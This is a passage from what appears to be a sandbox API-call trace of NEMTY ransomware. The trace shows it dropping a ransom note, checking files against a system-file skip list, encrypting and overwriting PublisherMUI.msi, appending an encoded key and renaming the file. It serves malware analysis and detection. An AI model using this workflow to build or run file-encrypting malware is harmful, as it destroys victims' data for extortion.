Flags=0x0, Size=0x60) returned 0x4f91590 [0047.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0019-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0019-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0019-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.211] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.214] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.214] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.215] CloseHandle (hObject=0x3c4) returned 1 [0047.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.215] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.216] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.216] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.217] CloseHandle (hObject=0x3c4) returned 1 [0047.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.217] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfd68db0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfd68db0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.217] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.217] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcfd68db0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfd68db0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.217] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.217] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.217] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0047.217] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".") returned 1 [0047.217] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="..") returned 1 [0047.217] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="...") returned 1 [0047.217] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="windows") returned -1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="rsa") returned -1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="NTDETECT.COM") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ntldr") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="MSDOS.SYS") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="IO.SYS") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="boot.ini") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="boot.ini") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ntuser.dat") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="desktop.ini") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="RECYCLER") returned -1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="bootmgr") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="programdata") returned 1 [0047.218] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="appdata") returned 1 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.msi", lpUsedDefaultChar=0x0) returned 16 [0047.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.msi", lpUsedDefaultChar=0x0) returned 16 [0047.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0047.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.msi", lpUsedDefaultChar=0x0) returned 16 [0047.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.msi", cchWideChar=16, lpMultiByteStr=0x4f9ece0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.msi", lpUsedDefaultChar=0x0) returned 16 [0047.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0047.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.219] Sleep (dwMilliseconds=0x5) [0047.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfdb5070, dwHighDateTime=0x1d561e7)) [0047.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfdb5070, dwHighDateTime=0x1d561e7)) [0047.234] GetLastError () returned 0xb7 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.235] GetLastError () returned 0xb7 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.235] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.235] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.235] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.235] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="32l0iW8nivLUebte4W/gEWEzj/Y7bxpyZyE6PUkdMhDIVPEpa35Hkpjcf7WpPxcI\r\nVo41mKF/DCEME6we0E8pwkokW1/CXnwY9Vq52DAgn+V5skF+m6OXmwJTVpffjfHA\r\n4+4T4AjJ6uINlH8uxFcYROO25hkM/ZBoTT8BJ+mtIgRMdoonhsJXl3JE7O3tKdJ+\r\npYghdSKZ8eCDONvPK1QLEKKvX4+aiuk7+z67vTd/zyK2LUTSz2i4ucwY/p3CtPQC\r\n5e0jZNZd51nec6zuHKZblOGy5JPCq0WUNlZAKyppvkqBTLy/X8ewhvmo8FL6smGl\r\nr7dsqiilgXCvkw1fN8W3nA==\r\n", pcchString=0x653ef9c) returned 1 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.235] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.236] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2513920) returned 1 [0047.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.236] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.236] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.245] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.245] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.245] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2513920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x265c00 [0047.246] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.247] CloseHandle (hObject=0x3c8) returned 1 [0047.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0047.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0047.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.293] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi._nemty_kgobjgd_")) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.294] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2=".") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="..") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="...") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="windows") returned -1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="rsa") returned -1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="NTDETECT.COM") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ntldr") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="MSDOS.SYS") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="IO.SYS") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="boot.ini") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="boot.ini") returned 1 [0047.294] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="ntuser.dat") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="desktop.ini") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="CONFIG.SYS") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="RECYCLER") returned -1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="bootmgr") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="programdata") returned 1 [0047.295] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="appdata") returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.xml", lpUsedDefaultChar=0x0) returned 16 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0047.295] WideCharToMultiByte (in: 